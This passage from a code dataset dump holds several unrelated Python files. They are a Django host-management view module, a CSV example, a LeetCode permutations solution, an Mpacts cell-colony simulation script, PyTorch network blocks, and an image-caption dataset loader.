forms.CharField(max_length=255,label=_(\"Name\"),help_text=_(\"The host's name. This is also its unique id.\"))\n\taddress = forms.CharField(max_length=255,label=_(\"Address\"),help_text=_(\"The host's IP address.\"))\n\tsite = forms.CharField(max_length=50,label=_(\"Site\"),help_text=_(\"The site this host belongs to.\"))\n\tenabled = forms.BooleanField(initial=True,label=_(\"enable\"), required=False,help_text=_(\"Whether this host is enabled.\"))\n\tdescription_text = forms.CharField(widget = forms.Textarea, label=_(\"Description\"), required=False)\n\tbuttons = Buttons.cancel_add\n\tdef __init__(self, api, *args, **kwargs):\n\t\tsuper(HostForm, self).__init__(*args, **kwargs)\n\t\tself.fields[\"site\"].widget = forms.widgets.Select(choices=site_name_list(api))\n\t\tself.helper.form_action = reverse(add)\n\t\tself.helper.layout = Layout(\n\t\t\t'name',\n\t\t\t'address',\n\t\t\t'site',\n\t\t\t'enabled',\n\t\t\t'description_text',\n\t\t\tself.buttons\n\t\t)\n\t\nclass EditHostForm(HostForm):\n\tbuttons = Buttons.cancel_save\n\tdef __init__(self, api, name, *args, **kwargs):\n\t\tsuper(EditHostForm, self).__init__(api, *args, **kwargs)\n\t\tself.helper.form_action = reverse(edit, kwargs={\"name\": name})\n\t\t\ndef site_name_list(api):\n\tl = api.site_list()\n\tres = []\n\tfor site in l:\n\t\tres.append((site[\"name\"],site[\"description\"] or site[\"name\"]))\n\tres.sort()\n\treturn res\n\n@wrap_rpc\ndef list(api, request, site=None, organization=None):\t\n\torganizations = api.organization_list()\n\tsites = api.site_list()\n\thosts = api.host_list(site=site, organization=organization)\n\tsite_description=None\n\torganization_description=None\n\tif site:\n\t\tsite_description=api.site_info(site)['description']\n\tif organization:\n\t\torganization_description = api.organization_info(organization)['description']\n\tsite_map = dict([(s[\"name\"], \"%s, %s\" % (s[\"description\"] if s[\"description\"] else s[\"name\"], s[\"location\"])) for s in api.site_list()])\n\t\n\treturn render(request, \"host/list.html\", {'host_list': hosts, 'organizations': organizations, 'site_map': site_map, 'sites': sites, 'site': site, 'site_description':site_description, 'organization': organization, 'organization_description': organization_description})\n\n@wrap_rpc\ndef info(api, request, name):\n\thost = api.host_info(name)\n\tsite = api.site_info(host[\"site\"])\n\torganization = api.organization_info(host[\"organization\"])\n\treturn render(request, \"host/info.html\", {'host': host, 'organization': organization, 'site': site})\n\n@wrap_rpc\ndef add(api, request):\n\tmessage_after = '<h2>Public key</h2>\tThe public key of this backend is:\t<pre><tt>'+serverInfo()['public_key']+'</tt></pre>'\n\tif request.method == 'POST':\n\t\tform = HostForm(api, request.POST)\n\t\tif form.is_valid():\n\t\t\tformData = form.cleaned_data\n\t\t\tapi.host_create(formData[\"name\"], formData[\"site\"], {\"address\": formData[\"address\"], \"enabled\": formData[\"enabled\"],'description_text':formData['description_text']})\n\t\t\treturn HttpResponseRedirect(reverse(\"tomato.host.info\", kwargs={\"name\": formData[\"name\"]}))\n\t\telse:\n\t\t\treturn render(request, \"form.html\", {'form': form, \"heading\":\"Add Host\", 'message_after':message_after})\n\telse:\n\t\tform = HostForm(api)\n\t\tif api.site_list():\n\t\t\treturn render(request, \"form.html\", {'form': form, \"heading\":_(\"Add Host\"), 'message_after':message_after})\n\t\telse:\n\t\t\treturn render(request, \"main/error.html\",{'type':'No site available','text':'You need a site first before you can add hosts.'})\n\n@wrap_rpc\ndef remove(api, request, name=None):\n\tif request.method == 'POST':\n\t\tform = RemoveConfirmForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tapi.host_remove(name)\n\t\t\treturn HttpResponseRedirect(reverse(\"tomato.host.list\"))\n\tform = RemoveConfirmForm.build(reverse(\"tomato.host.remove\", kwargs={\"name\": name}))\n\treturn render(request, \"form.html\", {\"heading\": \"Remove Host\", \"message_before\": \"Are you sure you want to remove the host '\"+name+\"'?\", 'form': form})\n\n@wrap_rpc\ndef edit(api, request, name=None):\n\tif request.method=='POST':\n\t\tform = EditHostForm(api, name, request.POST)\n\t\tif form.is_valid():\n\t\t\tformData = form.cleaned_data\n\t\t\tapi.host_modify(name,{\"name\": formData[\"name\"], \"address\": formData[\"address\"], 'site':formData[\"site\"], \"enabled\": formData[\"enabled\"],'description_text':formData['description_text']})\n\t\t\treturn HttpResponseRedirect(reverse(\"tomato.host.info\", kwargs={\"name\": formData[\"name\"]}))\n\t\telse:\n\t\t\tif not name:\n\t\t\t\tname=request.POST[\"name\"]\n\t\t\tif name:\n\t\t\t\treturn render(request, \"form.html\", {\"heading\": _(\"Editing Host\")+name, 'form': form})\n\t\t\telse:\n\t\t\t\treturn render(request, \"main/error.html\",{'type':'Transmission Error','text':'There was a problem transmitting your data.'})\n\telse:\n\t\tif name:\n\t\t\thostinfo=api.host_info(name)\n\t\t\tform = EditHostForm(api, name, hostinfo)\n\t\t\tform.fields[\"site\"].initial = hostinfo[\"site\"]\n\t\t\tform.fields[\"enabled\"].initial = hostinfo[\"enabled\"]\n\t\t\treturn render(request, \"form.html\", {\"heading\":_(\"Editing Host \")+name, 'form': form})\n\t\telse:\n\t\t\treturn render(request, \"main/error.html\",{'type':'not enough parameters','text':'No address specified. Have you followed a valid link?'})\n\n@wrap_rpc\ndef usage(api, request, name): #@ReservedAssignment\n\tif not api.user:\n\t\traise AuthError()\n\tusage=api.host_usage(name)\n\treturn render(request, \"main/usage.html\", {'usage': json.dumps(usage), 'name': 'Organization %s' % name})\n","sub_path":"host.py","file_name":"host.py","file_ext":"py","file_size_in_byte":6435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"407092116","text":"import csv\nfrom pprint import pprint  # drukowanie sformatowane\n\ndb = []\n\nwith open('osoby.csv') as file:\n    reader = csv.reader(file)\n    for line in reader:\n        db.append(line)\n\ndb.append([18, 'Adam', 'Kowalski', 40])\n\n# zamiast standardoweg wydruku\n# możemy np. określic poziom zgłębienia\npprint(db, indent=4)\n\nwith open('osoby.csv', 'r+') as file:\n    file.read()\n    writer = csv.writer(file)\n    writer.writerow(db[-1])\n","sub_path":"dzien4_5_6/dzien6/csv_builtins.py","file_name":"csv_builtins.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"301764048","text":"# coding=utf-8\n# https://leetcode-cn.com/problems/permutations/\n\n\nclass Solution(object):\n    def permute(self, nums):\n        \"\"\"\n        :type nums: List[int]\n        :rtype: List[List[int]]\n        \"\"\"\n        if nums is None:\n            return []\n        if len(nums) == 1:\n            return [nums]\n        ans = list()\n        for idx, i in enumerate(nums):\n            tmp = nums[0: idx] + nums[idx + 1:]\n            for j in self.permute(tmp):\n                ans.append([i] + j)\n        return ans\n","sub_path":"46.py","file_name":"46.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"170572335","text":"#! /usr/bin/env python-mpacts\n\n\"\"\"\n   Script to simulate cells behaving like an active polar liquid, driven by contact inhibition of locomotion\n   and guided by a global director field that reorients the polarization of the cells.\n\n   This script is based on the same framework described in:\n\n   Smeets et al. \"Emergent structures and dynamics of cell colonies\n   by contact inhibition of locomotion\" (2016) PNAS 113(51), 14621-14626.\n\n   To run this script, you need to have a recent (2020) version of the Mpacts software and available in Python.\n   This script only works in Python 3.\n\"\"\"\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n#If a user module exists, load this. Otherwise, load the generic specified option from mpacts itself.\ndef load_user_module( umod_name, alternative, cmdname ) -> None:\n   import importlib\n   try:\n      mod = importlib.import_module( f\"mpacts_usermodules.{umod_name}\" )\n      cmd = mod.__dict__[cmdname]\n      print(f\" - Loading user module: {cmd.__name__}\")\n   except ImportError as e:\n      mod = importlib.import_module(f\"{alternative}\")\n      cmd = mod.__dict__[cmdname]\n      print(f\" - Loading generic module: {cmd.__name__}\")\n   globals()[cmdname] = cmd\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\n#The user model will contain the open source code of all (physically relevant) parts of the simulation.\n#These can be separately compiled by any reviewer / collaborator to verify the implementation.\nload_user_module( \"active_force\"#User module\n                , \"mpacts.commands.force.body\"#Alternative\n                , \"PersistentRandomForceCommand\" )\n\nfrom mpacts.commands.onarrays.linearcombination import LinearCombinationCommand\nimport mpacts.commands.monitors.progress as pp\nfrom mpacts.commands.onarrays.setvalue import SetValueCommand\nfrom mpacts.commands.onarrays.transfer import CopyArrayCommand\nfrom mpacts.commands.time_evolution.integration import ForwardEuler_Generic\nimport mpacts.commands.misc.stresscalculation as stress_calculation\nfrom mpacts.contact.detectors.multigrid import MultiGridContactDetector\n\nfrom mpacts.contact.models.collision.linearforce.linearforce_matrix import LinearOffsetForceMatrix\nfrom mpacts.commands.onarrays.average import ExponentialMovingAverageCommand\nfrom mpacts.boundaryconditions import periodicboundary2D as pbc2\nfrom mpacts.contact.matrix.conjugategradient import DefaultConjugateGradientSolver\nfrom mpacts.contact.matrix.cmtypes import ConjugateGradientSolver_old, ConjugateGradientSolver\nfrom mpacts.commands.time_evolution.integration import ForwardEuler_UncoupledOverdamped\nfrom mpacts.core.valueproperties import Variable, VariableFunction\nimport mpacts.geometrygenerators.pointgenerators as pointgen\nfrom mpacts.io.datasave import DataSaveCommand\nfrom mpacts.core.arrays import create_array\nfrom mpacts.core.baseobject import BaseObject\nfrom mpacts.core.command import CommandList\nfrom mpacts.core.simulation import Simulation\nimport mpacts.tools.random_seed as randseed\nfrom mpacts.tools.load_parameters import load_parameters\nimport DEMutilities.postprocessing.h5storage as h5s\nfrom mpacts.core.new_units import registry as u\nimport mpacts.particles as prt\nimport mpacts.core.command as cmd\nimport numpy as np\nimport os\n\n#-----------------------------------------------------------------------------------------------------------------------------\n#Utility function to compute correct hexagonal packing:\n#Aspect ratio is defined as width / height\n#N is the number of cells, when the size would be a square of width*width size!\ndef Nxz_from_N( N, aspect_ratio ) -> tuple:\n   Nz = round((1 + (1+(8*N)/(3**0.5))**0.5)/(4.*aspect_ratio))\n   Nx = round(3**0.5 * Nz * aspect_ratio)\n   return (Nx,Nz)\n\n#Just a short hand to get access to SI values of Variables and VariableFunctions\ndef si(variable) -> float:\n    v = variable.get_value()\n    if isinstance( v, float):\n       return v\n    else:\n       return v.value_SI()\n\n#Solver for equation of motion, reasonably chosen based on gamma.\n#For final simulations, probably best to keep one fixed solver!\ndef automatic_solver(params) -> str:\n    gamma = si(gamma_n_n)\n    if gamma == 0:#No solver needed\n        return \"Explicit\"\n    elif gamma < 1.0:#More efficient for few iteration steps since no copying of data\n        return \"Internal\"\n    else:#Highly optimized, so more efficient for many iteration steps\n        return \"Eigen\"\n\n#-----------------------------------------------------------------------------------------------------------------------------\n#First all the properties that might change in a parameter study:\nmysim = Simulation( \"simulation\" )#We will set the actual timestep later!\nparams=mysim(\"params\")\n\nstorage = h5s.H5Storage(f\"{mysim.name()}.h5\",openmode='wa')\n\nh = Variable(\"h\", params, value = 1.0 )\nk_perpf    = VariableFunction(\"k_perp_factor\", params, function='1.0')#set this to 1/$h$ for anisotropic reinforcement\ng_perpf    = VariableFunction(\"gamma_perp_factor\", params, function='$h$' )#set this to $h$ for anisotropic friction\n\nH = Variable(\"H\"      , params, value=(1,0,0,0,0,0) * u('dimensionless') )\nI = Variable(\"I\"      , params, value=(1,0,1,0,0,1) * u('dimensionless') )\nY = Variable(\"Y\"      , params, value=(0,0,1,0,0,0) * u(\"dimensionless\") )\n\ndensprop  = Variable( \"density\"   , params, value = 1.2 * u(\"dimensionless\") )#Cell density\ngamma_n_n = Variable( 'gamma_n_n' , params, value = 0.0 * u(\"dimensionless\") )#Viscosity\nf_n       = Variable( \"f_n\"       , params, value = 4.0 * u(\"dimensionless\") )#Self-reinforcement rate (1/reinforcement time)\nw_n       = Variable( \"w_n\"       , params, value = 0.0 * u(\"dimensionless\") )#Dimensionless adhesion\nk_n       = Variable( \"k_n\"       , params, value = 2.5 * u(\"dimensionless\") )#Dimensionless repulsion\nheight    = Variable( \"height\"    , params, value = 10.0 * u('mm'))#height of the strip (y direction)\nwidth     = Variable( \"width\"     , params, value = 2.0 * u('mm'))#width of the strip (x direction)\n\nR_cell     = Variable( \"R_cell\"   , params, value = 10 * u(\"um\"))#Spread out cell size. Sets the units of length\nR_std      = Variable( \"R_std\"    , params, value = 0.5 * u('um') )#Only to prevent crystal-like effects\nv0         = Variable( \"v0\"       , params, value = 100 * u(\"um/hour\"))#Cell speed.\nDr         = Variable( \"Dr\"       , params, value = 2.0 * u(\"1/hour\"))#Effective rotational diffusivity (at F_cell force)\nxi         = Variable( \"xi\"       , params, value = 6 * u(\"Pa*hour/um\"))#Just sets the units of force. Taken from Duclos et al SI.\ndt_n       = Variable( \"dt_n\"     , params, value = 0.015 * u('dimensionless') )\nout_int    = Variable( \"out_int\"  , params, value = 5.0 * u(\"min\"))\nendtime    = Variable( \"endtime\"  , params, value = 30.0 * u('hour') )\nrng_seed   = Variable( 'rng_seed' , params, value = randseed.produce_random_seed() )\nrhv        = Variable( \"rhv\"      , params, value = 1e8 * u(\"dimensionless\"))\ncg_solver  = Variable( \"CG_solver\", params, value = \"Explicit\")#Options: Internal/Eigen/Explicit\ncg_tol     = Variable( 'CG_tol'   , params, value = 1e-4 )\ncd_ue      = Variable( \"cd_ue\"    , params, value = 10 )#Do contact detection every cd_ue steps\n\ncell_area  = VariableFunction(\"area\"     , params, function='math.pi*$R_cell$**2')\ngamma_s    = VariableFunction(\"gamma_s\"  , params, function=\"$xi$*$area$\")\nkc         = VariableFunction(\"kc\"       , params, function='$k_n$*$gamma_s$*$v0$/$R_cell$')\nF_cell     = VariableFunction(\"F_cell\"   , params, function='$gamma_s$*$v0$')\ntscale     = VariableFunction(\"tscale\"   , params, function=\"$R_cell$/$v0$\")#Velocity determines the timescale\nD          = VariableFunction(\"D\"        , params, function='$F_cell$**2*$Dr$')#Force diffusivity\nk          = VariableFunction(\"a\"        , params, function='$f_n$*$D$/$F_cell$**2')\na          = VariableFunction(\"k\"        , params, function='$a$*$gamma_s$')\nb          = VariableFunction(\"b\"        , params, function='($a$ + $Dr$)/$F_cell$**2')\nfw         = VariableFunction(\"fw\"       , params, function='-$kc$*$w_n$*$R_cell$')#Adhesive force. Negative!\nR0         = VariableFunction(\"R0\"       , params, function='2*$R_cell$ - $fw$/$kc$')\ngamma_c    = VariableFunction(\"gamma_c\"  , params, function=\"$gamma_n_n$*$gamma_s$\")\ndt         = VariableFunction(\"dt\"       , params, function='$dt_n$*$tscale$')\ncd_kd      = VariableFunction(\"cd_kd\"    , params, function=\"2*$v0$*$dt$*$cd_ue$\")\nalpha_s    = VariableFunction(\"alpha_s\"  , params, function=\"2./(2*$out_int$/$dt$+1)\")\n\nK          = VariableFunction( \"K\"       , params, function='$k$*$H$+$k_perp_factor$*$k$*($I$-$H$)')\nGamma      = VariableFunction( \"Gamma\"   , params, function='$gamma_s$*$H$+$gamma_perp_factor$*$gamma_s$*($I$-$H$)+$rhv$*$gamma_s$*$Y$')\n\nif os.path.exists('params.pickle'):\n   load_parameters( mysim )\n\nrandseed.set_random_seed( rng_seed.get_value() )\nmysim.set_timestep(dt.get_value())\n\nstorage.add_simulation_info( mysim )\n\n#-----------------------------------------------------------------------------------------------------------------------------\n\nsurface_substrate = si(height)*si(width)\nsurface_cells = surface_substrate * si(densprop)\n\nsurface_width = si(width)**2\nsurface_cells_width = surface_width * si(densprop)\nR = si(R_cell)\nN_width = int( surface_cells_width / ( np.pi*R**2 ) )\n\nNx, Nz = Nxz_from_N( N_width, si(width)/si(height) )\n\n#Make the cells particle container cells:\ncells = prt.ParticleContainer('cells',prt.Sphere0, mysim)\nenergy = create_array(\"Scalar\",'virial_energy',cells)\nv_av = create_array(\"Vector\",'v_average',cells)\n\n#Array with combined body forces:\nFb = create_array( \"Vector\", \"Fb\", cells )\n#Array with combined contact forces: Computed as F - Fb + Ff\nFc = create_array( \"Vector\", \"Fc\", cells )\n#Array with active forces. Part of body forces. Without other external forces, Fa = Fb\nFa = create_array( \"Vector\", \"Fa\", cells )\n#Array with friction forces. Will be added to the contact force array\nFf = create_array( \"Vector\", \"Ff\", cells )\n#Total force F = Fb + Fc\n\nx_idx = create_array(\"Index\", \"x_idx\", cells)\ny_idx = create_array(\"Index\", \"y_idx\", cells)\n\nL = si(width) - si(R0)\ndistance = max(L / float(Nx-1), L / float(3**0.5 * (Nz-1)) )\n\nxs = pointgen.hexagonal_lattice_in_rectangle( distance, (Nx,Nz), crop_xtop = True, crop_ztop = True )\nxs_np = np.array(xs)\n\nrs = [ np.random.normal(si(R_cell), si(R_std) ) for xi in xs ]\n\nlength_x = np.max(xs_np[:,0])-np.min(xs_np[:,0])+si(R0)\nlength_y = np.max(xs_np[:,2])-np.min(xs_np[:,2])+si(R0)\n\n#-----------------------------------------------------------------------------------------------------------------------------\n\nx_idx = np.argsort(np.argsort( np.array(xs)[:,0]))\ny_idx = np.argsort(np.argsort( np.array(xs)[:,2]))\n\ncells.resize( len(xs) )\ncells[\"x\"].set_array(xs)\ncells[\"r\"].set_array(rs)\ncells['Fa'].set_array((0,0,0))\ncells['Fb'].set_array((0,0,0))\ncells['Fc'].set_array((0,0,0))\ncells['Ff'].set_array((0,0,0))\ncells[\"x_idx\"].set_array([int(el) for el in x_idx])\ncells[\"y_idx\"].set_array([int(el) for el in y_idx])\n\ncells.SetContactMatrixDiagonalCmd(visc = Gamma)\n\nactual_domain = length_x * length_y\nactual_cell_area = np.pi * R**2 * len(xs)\nprint(f\" - corrected density: {actual_cell_area / actual_domain:1.3f}\")\nprint(f\"Nx: {Nx}\")\nprint(f\"Nz: {Nz}\")\nprint(f\"N cells: {cells.size()}\")\n\nghosts2 = pbc2.PeriodicBoundary2D(\"pbc2D\", mysim, cells\n                                 , p0 = ( -si(width)/2      , 0, -length_y/2 )\n                                 , v1 = ( si(width)-3**0.5*R, 0, 0           )\n                                 , v2 = ( 0              , 0, length_y-0.5*R   )\n                                 , boundary_width = 5*R\n                                 , gate = cmd.ExecuteEveryNTimes( N = cd_ue ) )\n\ndf = PersistentRandomForceCommand(\"PersistentRandomForceCommand\", mysim, pc=cells\n                                 , K = K, b=b, D_force= D\n                                 , gamma = gamma_s\n                                 , F_active = cells['Fa']\n                                 , dimensions = (1,0,1) )\n\n#-----------------------------------------------------------------------------------------------------------------------------\n# Cell-cell contact model\nghosts2.AddContactModels( LinearOffsetForceMatrix\n                        , k = kc, f = fw\n                        , gamma_normal = gamma_c\n                        , gamma_tangential = gamma_c\n                        , implicitness = 1. )\n\nghosts2.AddContactDetectors( MultiGridContactDetector, \"CD\", mysim\n                           , update_every = cd_ue, keep_distance=cd_kd)\n\nif cg_solver.get_value() == \"Explicit\":\n    #Faster way if we do not use conjugate gradient: Especially the copy method with Eigen is very expensive\n    ForwardEuler_UncoupledOverdamped(\"TimeIntegration\", mysim, pc=cells, gamma_array=cells[\"ContactMatrixDiagonal\"])\nelse:\n    solvers = { \"Eigen\"    : ConjugateGradientSolver\n              , \"Internal\" : ConjugateGradientSolver_old }\n    ConjugateGradient = DefaultConjugateGradientSolver( mysim, tolerance=cg_tol, reset_x=False, F_fric = \"Ff\"\n                                                      , CG_solver = solvers[cg_solver.get_value()])\n\n    #time integration\n    ForwardEuler_Generic( \"integrate_v0\", mysim, pc = cells, x=cells[\"x\"], dx=cells[\"v\"])\n\n#Add a command that prints some information to the screen at a certain time interval, so we know what the simulation is doing:\nprinter_list = [ pp.DefaultProgressPrinter(mysim, sim_time_unit='h') ]\n\nprinter = pp.PrinterChain(printer_list)\n\npp.ProgressIndicator(\"PrintProgress\", mysim, printer, print_interval=5.)\n\n#-----------------------------------------------------------------------------------------------------------------------------\n\nDataSaveCommand(\"DataSaveCommand\", mysim, executeInterval = out_int )\n#wrt_c = cells.VTKWriterCmd(executeInterval = out_int, select_all = True)\n\n#print(mysim.print_command_tree())\nmysim.run_until( endtime.get_value() )\nstorage.simulation_completed()\nprint(\"\\n *** Simulation finished succesfully! ***\")\n","sub_path":"python/simulation/anisotropic_field.py","file_name":"anisotropic_field.py","file_ext":"py","file_size_in_byte":14130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"100308929","text":"import torch\nimport torch.nn as nn\n\nclass hsigmoid(nn.Module):\n    def forward(self, x):\n        out = F.relu6(x + 3, inplace=True) / 6\n        return out\n\nclass SeModule(nn.Module):\n    def __init__(self, in_size, reduction=4):\n        super(SeModule, self).__init__()\n        self.se = nn.Sequential(\n            nn.AdaptiveAvgPool2d(1),\n            nn.Conv2d(in_size, in_size // reduction, kernel_size=1, stride=1, padding=0, bias=False),\n            nn.BatchNorm2d(in_size // reduction),\n            nn.ReLU(inplace=True),\n            nn.Conv2d(in_size // reduction, in_size, kernel_size=1, stride=1, padding=0, bias=False),\n            nn.BatchNorm2d(in_size),\n            hsigmoid()\n        )\n    def forward(self, x):\n        return x * self.se(x)\n\nclass Inverted_Bottleneck(nn.Module):\n    '''expand + depthwise + pointwise'''\n    def __init__(self, kernel_size, in_size, expand_size, out_size, nolinear, semodule, stride):\n        super(Inverted_Bottleneck, self).__init__()\n        self.stride = stride\n        self.se = semodule\n\n        self.conv1 = nn.Conv2d(in_size, expand_size, kernel_size=1, stride=1, padding=0, bias=False)\n        self.bn1 = nn.BatchNorm2d(expand_size)\n        self.nolinear1 = nolinear\n        self.conv2 = nn.Conv2d(expand_size, expand_size, kernel_size=kernel_size, stride=stride, padding=kernel_size//2, groups=expand_size, bias=False)\n        self.bn2 = nn.BatchNorm2d(expand_size)\n        self.nolinear2 = nolinear\n        self.conv3 = nn.Conv2d(expand_size, out_size, kernel_size=1, stride=1, padding=0, bias=False)\n        self.bn3 = nn.BatchNorm2d(out_size)\n\n        self.shortcut = nn.Sequential()\n        if stride == 1 and in_size != out_size:\n            self.shortcut = nn.Sequential(\n                nn.Conv2d(in_size, out_size, kernel_size=1, stride=1, padding=0, bias=False),\n                nn.BatchNorm2d(out_size),\n            )\n\n    def forward(self, x):\n        out = self.nolinear1(self.bn1(self.conv1(x)))\n        out = self.nolinear2(self.bn2(self.conv2(out)))\n        out = self.bn3(self.conv3(out))\n        if self.se != None:\n            out = self.se(out)\n        out = out + self.shortcut(x) if self.stride==1 else out\n        return out\n\nclass Shufflenet(nn.Module):\n    def __init__(self, inp, oup, mid_channels, *, ksize, stride):\n        super(Shufflenet, self).__init__()\n        self.stride = stride\n        assert stride in [1, 2]\n        assert ksize in [3, 5, 7]\n\n        self.base_mid_channel = mid_channels\n        self.ksize = ksize\n        pad = ksize // 2\n        self.pad = pad\n        self.inp = inp\n\n        outputs = oup - inp\n\n        branch_main = [\n            # pw\n            nn.Conv2d(inp, mid_channels, 1, 1, 0, bias=False),\n            nn.BatchNorm2d(mid_channels, affine=False),\n            nn.ReLU(inplace=True),\n            # dw\n            nn.Conv2d(mid_channels, mid_channels, ksize,\n                      stride, pad, groups=mid_channels, bias=False),\n            nn.BatchNorm2d(mid_channels, affine=False),\n            # pw-linear\n            nn.Conv2d(mid_channels, outputs, 1, 1, 0, bias=False),\n            nn.BatchNorm2d(outputs, affine=False),\n            nn.ReLU(inplace=True),\n        ]\n        self.branch_main = nn.Sequential(*branch_main)\n\n        if stride == 2:\n            branch_proj = [\n                # dw\n                nn.Conv2d(\n                    inp, inp, ksize, stride, pad, groups=inp, bias=False),\n                nn.BatchNorm2d(inp, affine=False),\n                # pw-linear\n                nn.Conv2d(inp, inp, 1, 1, 0, bias=False),\n                nn.BatchNorm2d(inp, affine=False),\n                nn.ReLU(inplace=True),\n            ]\n            self.branch_proj = nn.Sequential(*branch_proj)\n\n    def forward(self, old_x):\n        if self.stride == 1:\n            x_proj, x = channel_shuffle(old_x)\n            return torch.cat((x_proj, self.branch_main(x)), 1)\n        elif self.stride == 2:\n            x_proj = old_x\n            x = old_x\n            return torch.cat((self.branch_proj(x_proj), self.branch_main(x)), 1)\n\nclass Shuffle_Xception(nn.Module):\n\n    def __init__(self, inp, oup, mid_channels, *, stride):\n        super(Shuffle_Xception, self).__init__()\n\n        assert stride in [1, 2]\n\n        self.base_mid_channel = mid_channels\n        self.stride = stride\n        self.ksize = 3\n        self.pad = 1\n        self.inp = inp\n        outputs = oup - inp\n\n        branch_main = [\n            # dw\n            nn.Conv2d(inp, inp, 3, stride, 1, groups=inp, bias=False),\n            nn.BatchNorm2d(inp, affine=False),\n            # pw\n            nn.Conv2d(inp, mid_channels, 1, 1, 0, bias=False),\n            nn.BatchNorm2d(mid_channels, affine=False),\n            nn.ReLU(inplace=True),\n            # dw\n            nn.Conv2d(mid_channels, mid_channels, 3,\n                      1, 1, groups=mid_channels, bias=False),\n            nn.BatchNorm2d(mid_channels, affine=False),\n            # pw\n            nn.Conv2d(mid_channels, mid_channels, 1, 1, 0, bias=False),\n            nn.BatchNorm2d(mid_channels, affine=False),\n            nn.ReLU(inplace=True),\n            # dw\n            nn.Conv2d(mid_channels, mid_channels, 3,\n                      1, 1, groups=mid_channels, bias=False),\n            nn.BatchNorm2d(mid_channels, affine=False),\n            # pw\n            nn.Conv2d(mid_channels, outputs, 1, 1, 0, bias=False),\n            nn.BatchNorm2d(outputs, affine=False),\n            nn.ReLU(inplace=True),\n        ]\n\n        self.branch_main = nn.Sequential(*branch_main)\n\n        if self.stride == 2:\n            branch_proj = [\n                # dw\n                nn.Conv2d(inp, inp, 3, stride, 1, groups=inp, bias=False),\n                nn.BatchNorm2d(inp, affine=False),\n                # pw-linear\n                nn.Conv2d(inp, inp, 1, 1, 0, bias=False),\n                nn.BatchNorm2d(inp, affine=False),\n                nn.ReLU(inplace=True),\n            ]\n            self.branch_proj = nn.Sequential(*branch_proj)\n\n    def forward(self, old_x):\n        if self.stride == 1:\n            x_proj, x = channel_shuffle(old_x)\n            return torch.cat((x_proj, self.branch_main(x)), 1)\n        elif self.stride == 2:\n            x_proj = old_x\n            x = old_x\n            return torch.cat((self.branch_proj(x_proj), self.branch_main(x)), 1)\n\ndef channel_shuffle(x):\n    batchsize, num_channels, height, width = x.data.size()\n    assert (num_channels % 4 == 0)\n    x = x.reshape(batchsize * num_channels // 2, 2, height * width)\n    x = x.permute(1, 0, 2)\n    x = x.reshape(2, -1, num_channels // 2, height, width)\n    return x[0], x[1]\n","sub_path":"src/Supernet_hpo_cifar/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":6606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"254885165","text":"import glob\nimport os\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nimport numpy as np\nimport matplotlib.image as mpimg\nimport pandas as pd\nimport cv2\nfrom PIL import Image\nimport ast\nimport pickle\nfrom nltk.tokenize import word_tokenize, sent_tokenize\nfrom itertools import chain\n\n\n\nclass ImageCaptionDataset(Dataset):\n    \"\"\"Image Caption dataset.\"\"\"\n\n    def __init__(self, csv_file, root_dir, mapper_file, max_seq_length=20, transform=None):\n        \"\"\"\n        Args:\n            csv_file (string): Path to the csv file with annotations.\n            root_dir (string): Directory with all the images.\n            transform (callable, optional): Optional transform to be applied\n                on a sample.\n        \"\"\"\n        self.max_seq_length = max_seq_length\n        \n        print(\"Reading data...\")\n        self.df = pd.read_csv(csv_file)\n        self.captions_column = self.df['captions']\n        self.img_name_column = self.df['img_name']\n        \n        print(\"Calculating length...\")\n        self.df['length'] = self.captions_column.apply(lambda x: len(x.split()))\n        self.length_column = self.df['length']\n        \n        self.root_dir = root_dir\n        self.transform = transform\n        \n        print(\"Reading Mapper file...\")\n        with open('mapping.pkl', 'rb') as f:\n            self.mapper_file = pickle.load(f)\n        \n        print(\"Ready !\")\n        \n    def __len__(self):\n        return len(self.df)\n\n    def __getitem__(self, idx):\n        # take the image name contained in the csv file\n        image_name = os.path.join(self.root_dir, self.img_name_column[idx])\n        \n        #image_name = os.path.join(self.root_dir,\n                                  #self.df.iloc[idx, 0])\n        \n\n        # read the true image based on that name\n        # choice: mpimg because done with 1 line\n        # with cv2, I need to read the convert from BGR2RGB\n        image = mpimg.imread(image_name)\n        \n        # read df & transform caption to tensor\n        caption = self.captions_column[idx]\n        #caption = self.df.iloc[idx, 1]\n        caption = caption.lower()\n        tokens = word_tokenize(caption)\n                \n        caption = []\n        caption.append('<start>')\n        caption.extend([token for token in tokens])\n        caption.append('<end>')\n        \n        # Map to integer\n        caption = [self.mapper_file[i] for i in caption]\n        \n        #pad sequence\n        caption = self.pad_data(caption)\n        \n        sample = {'image': image, 'caption': caption}\n        \n        \n        if self.transform:\n            sample = self.transform(sample)\n\n        return sample\n    \n    \n    \n    def pad_data(self, s):\n        padded = np.ones((self.max_seq_length,), dtype=np.int64)*self.mapper_file['<PAD>']\n        \n        if len(s) > self.max_seq_length:\n            padded[:] = s[:self.max_seq_length]\n        else: \n            padded[:len(s)] = s\n            \n        return padded\n\n\n\n\n\n\n","sub_path":"custom_data.py","file_name":"custom_data.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
